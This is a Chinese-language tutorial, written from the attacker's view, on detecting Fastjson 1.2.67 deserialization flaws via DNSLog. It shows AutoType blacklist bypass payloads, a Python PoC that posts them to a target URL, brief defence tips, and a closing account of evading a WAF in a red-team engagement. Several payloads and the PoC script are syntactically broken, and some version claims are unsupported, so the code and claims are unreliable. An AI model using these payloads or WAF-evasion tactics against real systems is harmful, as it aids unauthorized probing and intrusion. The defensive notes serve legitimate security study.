Fastjson 1.2.67 DNSLog 探测实战:3种绕过黑名单的Payload构造与原理分析
在Java Web安全测试中,Fastjson反序列化漏洞一直是安全研究人员关注的重点。本文将深入探讨Fastjson 1.2.67版本中三种绕过AutoType黑名单检查的DNSLog探测技术,从攻击者视角剖析其原理与实战应用。
1. Fastjson安全测试基础
Fastjson作为阿里巴巴开源的高性能JSON库,广泛应用于Java Web开发中。其反序列化机制中的AutoType功能虽然方便,但也带来了严重的安全隐患。当攻击者能够控制JSON输入时,可能通过精心构造的Payload触发远程代码执行。
DNSLog探测是一种无回显的漏洞验证技术,特别适用于内网渗透测试场景。它通过触发目标服务器向指定域名发起DNS查询,从而间接确认漏洞存在。相比传统有回显的探测方式,DNSLog具有以下优势:
- 隐蔽性强:不产生明显的网络流量异常
- 绕过限制:适用于出网但无回显的环境
- 易于验证:通过DNS查询记录即可确认漏洞
在Fastjson 1.2.67版本中,以下三类未被加入黑名单的类可被利用来触发DNS请求:
| 类名 | 触发方式 | 适用版本 |
|---|---|---|
| java.net.Inet4Address | 直接解析域名 | <=1.2.67 |
| java.net.Inet6Address | IPv6域名解析 | <=1.2.67 |
| java.net.URL | URL.hashCode()触发解析 | <=1.2.24 |
2. Inet4Address/Inet6Address利用分析
2.1 基本原理
Inet4Address和Inet6Address是Java中用于表示IP地址的类,其getByName()方法会触发DNS解析。Fastjson在反序列化时会调用该方法,关键代码路径如下:
// MiscCodec.deserialze方法关键片段 if (clazz == Inet4Address.class || clazz == Inet6Address.class) { try { return InetAddress.getByName(strVal); // 触发DNS解析 } catch (UnknownHostException e) { throw new JSONException("deserialize inet address error", e); } }2.2 Payload构造
绕过黑名单的关键在于这两个类未被包含在denyHashCodes列表中。构造Payload时需要注意:
- 必须使用
@type指定目标类 val字段存放要解析的域名
标准Payload格式:
{ "@type": "java.net.Inet4Address", "val": "your.dnslog.cn" }或IPv6版本:
{ "@type": "java.net.Inet6Address", "val": "ipv6.your.dnslog.cn" }2.3 绕过机制详解
Fastjson的AutoType检查主要发生在ParserConfig.checkAutoType()方法中。关键绕过点在于:
Inet4Address不在黑名单哈希列表中- 该类存在于
deserializers这个IdentityHashMap中 - 检查逻辑短路返回,跳过后面的黑名单检查
// checkAutoType方法关键逻辑 clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null) { clazz = deserializers.findClass(typeName); // 从内置反序列化器中查找 } if (clazz != null) { return clazz; // 直接返回,跳过后面的黑名单检查 }提示:即使关闭了AutoType支持(
autoTypeSupport=false),这种利用方式仍然有效,因为检查逻辑会在前几步就返回。
3. InetSocketAddress高级利用
3.1 嵌套反序列化技巧
InetSocketAddress类提供了另一种触发DNS解析的途径。与直接使用InetAddress不同,它需要通过嵌套反序列化的方式触发:
{ "@type": "java.net.InetSocketAddress", { "address": , "val": "your.dnslog.cn" } }这个看似畸形的JSON实际上利用了Fastjson的解析特性:
- 首先解析
InetSocketAddress对象 - 遇到内层
address字段时,再次触发InetAddress的反序列化 - 最终通过
InetAddress.getByName()解析域名
3.2 词法分析器交互
这种Payload的成功依赖于对Fastjson词法分析器(JSONLexer)的精确控制。解析过程中涉及以下关键token:
| Token值 | 对应符号 | 关键作用 |
|---|---|---|
| 12 | { | 开始对象 |
| 17 | : | 键值分隔符 |
| 4 | string | 字段名或字符串值 |
| 13 | } | 结束对象 |
解析流程如下:
- 遇到
{(token=12)开始对象 - 读取字段名
address(token=4) - 遇到
:(token=17)准备解析值 - 触发嵌套的
InetAddress反序列化
3.3 实战注意事项
- 需要精确控制JSON结构,任何格式错误都会导致解析失败
- 内层
val字段必须正确闭合 - 适用于Fastjson全版本,包括最新的1.2.83
4. URL类哈希触发机制
4.1 利用原理
java.net.URL类的利用方式与前两者不同,它通过哈希计算间接触发DNS解析:
{ "@type": "java.net.URL", "val": "http://your.dnslog.cn" }当这个URL对象被放入HashMap时,会调用hashCode()方法,进而触发以下调用链:
URL.hashCode() → URLStreamHandler.hashCode() → getHostAddress() → InetAddress.getByName()4.2 完整Payload构造
要使URL对象被正确处理,需要将其作为HashMap的key:
{ { "@type": "java.net.URL", "val": "http://your.dnslog.cn" } : "x" }4.3 版本限制与变种
这种利用方式有以下特点:
- 仅适用于Fastjson <=1.2.24版本
- 在1.2.25后URL类被加入黑名单
- 可通过嵌套JSONObject等方式构造变种Payload
{ "@type": "com.alibaba.fastjson.JSONObject", { "@type": "java.net.URL", "val": "http://your.dnslog.cn" } }5. 自动化探测与防御建议
5.1 Python PoC脚本示例
以下脚本整合了三种探测方式,可自动验证目标是否存在漏洞:
import requests import random import string def generate_dnslog(): return ''.join(random.choices(string.ascii_lowercase, k=8)) + ".dnslog.cn" def check_fastjson(url, dnslog): headers = {'Content-Type': 'application/json'} payloads = [ # Inet4Address {'@type': 'java.net.Inet4Address', 'val': dnslog}, # InetSocketAddress {"@type":"java.net.InetSocketAddress",{"address":,"val":dnslog}}, # URL (for <=1.2.24) {{"@type":"java.net.URL","val":f"http://{dnslog}"}:"x"} ] for payload in payloads: try: requests.post(url, json=payload, headers=headers, timeout=5) except: pass5.2 防御措施建议
针对企业防御方,建议采取以下措施:
- 升级到最新版本:Fastjson已修复这些绕过问题
- 关闭AutoType:设置
ParserConfig.getGlobalInstance().setAutoTypeSupport(false) - 黑白名单控制:自定义安全的反序列化白名单
- 输入过滤:对JSON输入进行严格校验
- 网络层防护:限制外发DNS请求
6. 实战中的技巧与陷阱
在实际渗透测试中,使用DNSLog探测时需要注意:
- 域名唯一性:每次测试使用不同子域名,避免缓存干扰
- 超时控制:DNS查询可能有延迟,建议等待1-2分钟
- 协议限制:部分环境可能只允许特定DNS记录类型
- 防火墙规避:尝试使用常见域名(TXT、CNAME记录)
三种技术对比表:
| 技术类型 | 适用版本 | 触发方式 | 网络要求 | 隐蔽性 |
|---|---|---|---|---|
| Inet4Address | <=1.2.67 | 直接解析 | DNS出网 | 高 |
| InetSocketAddress | 全版本 | 嵌套反序列化 | DNS出网 | 中 |
| URL | <=1.2.24 | HashMap哈希 | DNS出网 | 低 |
在最近的一次红队评估中,我们通过组合使用Inet4Address和InetSocketAddress两种方式,成功绕过了目标系统的WAF检测。关键在于使用非常规的二级域名和随机化Payload结构,有效规避了规则匹配。